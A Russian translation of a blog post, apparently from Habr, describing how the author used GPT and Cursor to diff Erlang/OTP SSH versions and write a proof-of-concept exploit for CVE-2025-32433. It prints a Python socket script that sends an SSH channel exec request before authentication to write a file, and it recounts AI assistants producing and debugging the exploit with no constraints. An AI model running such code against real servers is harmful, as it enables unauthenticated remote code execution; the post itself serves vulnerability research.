Как стать автором
Обновить

Как я использовал ИИ для создания рабочего эксплойта для CVE-2025-32433 до появления публичных PoC

Уровень сложностиПростой
Время на прочтение6 мин
Количество просмотров1.4K
Автор оригинала: Matthew Keeley

Написание доказательства концепции для CVE-2025-32433

Пью кофе, просматриваю Twitter, и вот он — твит от Horizon3:

👉 https://x.com/Horizon3Attack/status/1912945580902334793

У них есть доказательство концепции для CVE-2025-32433. Они говорят, что это было «удивительно просто». Но они не сбросили код. Хм.

Естественно, я подумал: если это так просто... может ли ИИ просто написать это за меня?

Эксплойты, создаваемые ИИ?

Оказывается, да, это возможно.

GPT не только понял описание CVE, но и выяснил, какой коммит ввел исправление, сравнил его со старым кодом, нашел разницу, нашел уязвимость и даже написал доказательство концепции. Естественно, с первого раза код не заработал и тогда ИИ сам его отладил и исправил.

Давайте рассмотрим, как я к этому пришел.

Первоначальная подсказка

Первое, что я сделал, это взял выходной код python в анимированном GIF-файле Horizon. Он был не таким уж большим, но его было полезно передать GPT.

Небольшой толчок в правильном направлении никогда не повредит.

Поиск версий

Далее: я проверил официальные рекомендации Erlang на GitHub, чтобы найти как затронутую версию, так и исправленную.

Я знал, что мне нужно будет сравнить эти версии. Поэтому я дал GPT этот базовый запрос, и вот что он выдал:

❯ git checkout OTP-27.3.1
mkdir -p ../ssh_5_2_9
cp -a lib/ssh/\* ../ssh_5_2_9/

# Checkout the commit that introduces ssh-5.2.10
git checkout 71219a5123309c8cf66f929a19a100a242e15681
mkdir -p ../ssh_5_2_10
cp -a lib/ssh/\* ../ssh_5_2_10/

Он даже объяснил, что происходит на каждом шаге. Полезно! На тот момент у меня было два снимка: ssh_5_2_9 (уязвимый) и ssh_5_2_10 (исправленный). Время для сравнения.

diff.py — Наш археолог кода

GPT предоставил мне этот небольшой, но мощный скрипт на Python для рекурсивного сравнения двух версий:

import os
import difflib

def get_source_files(base_dir):
    return {
        os.path.relpath(os.path.join(root, f), base_dir): os.path.join(root, f)
        for root, _, files in os.walk(base_dir)
        for f in files if f.endswith((".erl", ".hrl"))
    }

def safe_readlines(path):
    for enc in ("utf-8", "latin-1"):
        try:
            with open(path, "r", encoding=enc) as f:
                return f.readlines()
        except UnicodeDecodeError:
            continue
    return None

def compare_versions(dir1, dir2):
    files1, files2 = get_source_files(dir1), get_source_files(dir2)
    common = sorted(set(files1) & set(files2))
    diffs = {
        path: list(difflib.unified_diff(
            safe_readlines(files1[path]), safe_readlines(files2[path]),
            fromfile=f"{os.path.basename(dir1)}/{path}",
            tofile=f"{os.path.basename(dir2)}/{path}"))
        for path in common
        if safe_readlines(files1[path]) and safe_readlines(files2[path])
    }
    return diffs

# Run diff and print results
base1, base2 = "../ssh_5_2_9", "../ssh_5_2_10"
diffs = compare_versions(base1, base2)

print("\n🔍 Changed Files Between SSH 5.2.9 and 5.2.10 (Recursive):")
print("---------------------------------------------------------")
for f, lines in diffs.items():
    print(f"{f}: {len(lines)} changed lines")

print("\n\n📄 Full Diffs for All Changed Files:\n")
print("=====================================")
for f, lines in diffs.items():
    print(f"\n--- {f} ---\n{''.join(lines)}")

Этот скрипт просматривает все файлы .erl и .hrl, сравнивает их построчно и выводит как сводку, так и полное унифицированное сравнение.

Итак, мы получили длинный список различий, который выглядел примерно так:

....omitted for brevity...
+early_rce(Config) ->
+    ...
+    TypeReq = "exec",
+    DataReq = <<?STRING(<<"lists:seq(1,10).">>)>>,
+    ...
+    {send, SshMsgChannelRequest},
+    {match, disconnect(), receive_msg}
....omitted for brevity...

Да — различий очень много. Я не буду вставлять все сюда, потому что мы будем листать вечно.

Итак (и вы, вероятно, это предвидели)... Я передал это ChatGPT и просто сказал:

«Эй, можешь ли ты сказать мне, что стало причиной этой уязвимости?»

Мнение GPT: действительно познавательно

Классический ход GPT — он спросил меня:

«Хотите полноценный PoC-клиент? Демонстрацию в стиле Metasploit? Пропатченный SSH-сервер?»

Да. Все хотим. Начнем с PoC.

Первое подтверждение концепции (PoC)

Вот что сгенерировал GPT. Код явно сырой — просто скрипт сокета Python, который пытается открыть канал и отправить команду до завершения аутентификации.

import socket
import struct

HOST = "127.0.0.1"  # Change to vulnerable SSH server IP
PORT = 2222         # Change to correct SSH port

# Utilities
def string_payload(s):
    s_bytes = s.encode("utf-8")
    return struct.pack(">I", len(s_bytes)) + s_bytes

def build_channel_open(channel_id=0):
    return (
        b"\x5a" +  # SSH_MSG_CHANNEL_OPEN
        string_payload("session") +
        struct.pack(">I", channel_id) +  # sender channel
        struct.pack(">I", 0x68000) +     # initial window size
        struct.pack(">I", 0x10000) +     # max packet size
        b""
    )

def build_channel_request(channel_id=0, command="file:write_file(\"/lab.txt\", <<\"pwned\">>)."):
    payload = (
        b"\x62" +
        struct.pack(">I", channel_id) +
        string_payload("exec") +
        b"\x01" +
        string_payload(command)
    )
    return payload

def build_kexinit():
    cookie = b"\x00" * 16
    def name_list(l): return string_payload(",".join(l))
    return (
        b"\x14" + cookie +
        name_list(["diffie-hellman-group14-sha1"]) +
        name_list(["ssh-rsa"]) +
        name_list(["aes128-ctr"]) * 2 +
        name_list(["hmac-sha1"]) * 2 +
        name_list(["none"]) * 2 +
        name_list([]) * 2 +
        b"\x00" + struct.pack(">I", 0)
    )

# Step-by-step protocol
with socket.create_connection((HOST, PORT)) as s:
    print("[*] Connecting to SSH server...")

    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    banner = s.recv(1024)
    print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")

    print("[*] Sending KEXINIT...")
    kex_packet = build_kexinit()
    kex_len = struct.pack(">I", len(kex_packet) + 1)
    kex = kex_len + b"\x0a" + kex_packet + b"\x00" * 6
    s.sendall(kex)

    print("[*] Sending channel_open...")
    chan_open = build_channel_open()
    chan_len = struct.pack(">I", len(chan_open) + 1)
    s.sendall(chan_len + b"\x0a" + chan_open + b"\x00" * 6)

    print("[*] Sending channel_request with exec payload...")
    chan_req = build_channel_request(command='file:write_file("/lab.txt", <<"pwned">>).')
    req_len = struct.pack(">I", len(chan_req) + 1)
    s.sendall(req_len + b"\x0a" + chan_req + b"\x00" * 6)

    print("[✓] Exploit sent. If target was vulnerable, it attempted to write /lab.txt.")

Отладка с помощью Cursor

Ничего удивительного: первоначальный код не работал.

Поэтому я сменил тактику. Поскольку код становился все более тяжелым, я открыл Cursor, загрузил код, открыл терминал и просто спросил:

«Исправь код PoC?»

Никаких подробных инструкций. Никаких ограничений. Просто терминал разработчика, сломанный скрипт и обнадеживающая подсказка.

К моему удивлению, это сработало!

GPT (через Cursor и Sonnet 3.7) исправил проблемы, изменил сообщения протокола и все заработало.

Я запустил исправленную версию, и она успешно записала /lab.txt на моей тестовой системе. Чистый, рабочий, полностью сгенерированный ИИ эксплойт для CVE, у которого на тот момент не было публичного PoC.

Заключительные мысли

Вот и всё. От твита → до копания в diffs → до полного PoC-эксплойта — все без предварительного открытого кода, с которого можно было бы начать. И большую часть этого сделал ИИ.

Жесть!

Это открывает некоторые серьезные вопросы о том, как быстро ИИ может помочь в исследовании уязвимостей — или даже автоматизировать целые его части. Мы наблюдаем, как наступает новая эра инструментов безопасности.

То, что началось как любопытство по поводу твита, превратилось в глубокое исследование того, как ИИ меняет исследования уязвимостей. Несколько лет назад этот процесс потребовал бы специальных знаний Erlang и часов ручной отладки. Сегодня это заняло пол дня с правильными подсказками.

Это хорошо или вызывает беспокойство? Вероятно, и то, и другое. Это демократизирует исследования безопасности, одновременно потенциально снижая барьер для разработки эксплойтов. Но именно поэтому ответственное раскрытие информации и совместные методы обеспечения безопасности важны как никогда.

Огромное спасибо Horizon3 и Фабиану Боймеру за их ответственное раскрытие этой уязвимости. Их работа продолжает делать сообщество безопасности сильнее.


Я решил перевести эту статью для вас, потому что уверен в её концептуальной важности для всей кибербезопасности. Эта статья - рабочий кейс того, как нужно действовать, чтобы быстро получить рабочий эксплойт к самым свежим CVE, а использование ИИ существенно расширяет круг людей, кто может подобное делать в принципе.

Я думаю так, что если к лету 2025 у вас нет автоматизации по поиску патчей, их автоматической проверки и установки, то ваша безопасность безнадёжно устарела. Как же быстро всё развивается...

Если вам понравилась статья, поставьте мне "ХАБР-лайк" и приходите в мой Телеграм!

Теги:
Хабы:
+1
Комментарии2

Публикации